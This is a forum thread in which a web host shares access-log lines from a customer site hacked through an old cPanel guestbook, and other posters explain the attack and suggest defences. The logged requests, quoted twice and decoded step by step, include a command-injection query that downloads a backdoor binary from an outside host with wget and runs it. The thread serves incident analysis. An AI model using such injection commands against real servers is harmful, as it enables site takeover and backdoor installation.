How did they hack it?

[truth]

Today one of my customers web site is hacked. As far as I can see the codes below were used

GET /guestbook/templates/error.php
GET /guestbook/templates/error.php?cmd=uname%20-a
GET /guestbook/templates/error.php?cmd=cd%20/tmp;wget%20http://tecnobyte.org/r0nin;chmod%20777%20r0nin;./r0nin
GET /guestbook/admin.php?action=template&session=244d9aa960b50bbd 60d399b9e7fb79ff&uid=1
GET /guestbook/admin.php?action=template&tpl_name=error.php&sessi on=244d9aa960b50bbd60d399b9e7fb79ff&uid=1

I also tried all those lines and the only thing I could see was the whole folders and files (even the passwd ones but I think they are encrypted). But how can they find the ftp password to change the index.htm file I don't understand. Any ideas?

What is the way to prevent this to happen again? Asking our customers not to use the guestbook?

Thank you.
Regards

[Jonathan]

Which guestbook script was it?
Kinda scary they can pull off random lines
after a valid URL to retreat upwards to the passwd folder.

[AndrewT]

The Guestbook script provided in cPanel is very insecure if you did not have it upgraded to the newer version.

[Jonathan]

Try searching SF.net for a good Guestbook...
http://sourceforge.net/search/?words=Guestbook

[truth]

Thank you for your replies and I am sorry for my delayed reply.

As Andrew pointed, my customer used the old version of the Guestbooks we have in CPanel. I have deleted all the files but I am not sure if they could change any other file or created some admin accounts as well.

I unserstand it was not very difficult becuase as far as I could see from the log file it took only a few minutes to change the index file. But my question is how could they do that. Because I could not get anything with those line...

[Jonathan]

Possibly some form of tool to "spoof" a header maybe?
Something to confuse the script into letting them in.

I know there's a extention for FireFox that can spoof headers,
but thats more of to help the user enter porno sites

[truth]

I am not very familiar with spoofing the header, but it seems it is not very difficult. I will make a search about it...

Thank you all for your replies.

Regards

[Amitabh]

1. GET /guestbook/templates/error.php
2. GET /guestbook/templates/error.php?cmd=uname%20-a
3. GET /guestbook/templates/error.php?cmd=cd%20/tmp;wget%20http://tecnobyte.org/r0nin;chmod%20777%20r0nin;./r0nin
4. GET /guestbook/admin.php?action=template&session=244d9aa960b50bbd 60d399b9e7fb79ff&uid=1
5. GET /guestbook/admin.php?action=template&tpl_name=error.php&sessi on=244d9aa960b50bbd60d399b9e7fb79ff&uid=1

I haven't seen the script, but I assume that it's error pages have a facility to execute system calls through query string without any cross checks.

This is how they have gone about. On line 2, it runs a system command called uname with all the info( For more info on uname, see http://www.ss64.com/bash/uname.html ).

On Line 3 , they change to "tmp" directory first so that they can have writing and owner rights (cd%20/tmp -> cd /tmp, semi-colon is the command delimiter). Then they download a file named "r0nin" from a server called "tecnobyte.org" through the wget utility (wget%20http://tecnobyte.org/r0nin->wget http://tecnobyte.org/r0nin). Now they change the file mode, so that it can run as an executable (chmod%20777%20r0nin -> chmod 777 r0nin). lastly they run this file ./r0nin. This downloaded file must have conatined the code for replacing the index file on your clients site.

Hope this helps you in understanding the way the site page was replaced.

Amitabh

[Jonathan]

Wow Any idea on how to test that to see
if it can get through any of my own sites?

[truth]

Thank you very much for your reply Amitabh.

It is now clear how they did that (also scary), but as Andrew mentioned it was a very old PHP Guestbook. I am sure the new versions are secure enough that they cannot hack it that easy.

Regards.

[djn]

At first sight (the r0nin thing is still there to download) it seems a Linux executable called PsychoPhobia Backdoor (you find this string if you open it in notepad) and lines 4 and 5 seem to me like the result of a hijacked session (session files are often placed in /tmp).
I'd say that the guestbook script not only runs system commands, but doesn't check at all nor the query inputs neither the session ID.
If somebody runs this guestbook he better disable it now...

djn

[Tycho]

The Guestbook script provided in cPanel is very insecure if you did not have it upgraded to the newer version.

This is not about phpBook isn't it ?

[truth]

No, it is the old Guestbook comes with CGI Scripts in CPanel...

[Amitabh]

Wow Any idea on how to test that to see
if it can get through any of my own sites?

This is a simple case of query string not being correctly checked for the parameters passed. Make sure that the third party scripts that you use do not process system calls through query string and forms. And in case they do, they have relevant checks in place to properly filter those.

Sadly, there is no single way of determining if the code in question is vulnerable to this type script problems

Regards
AMitabh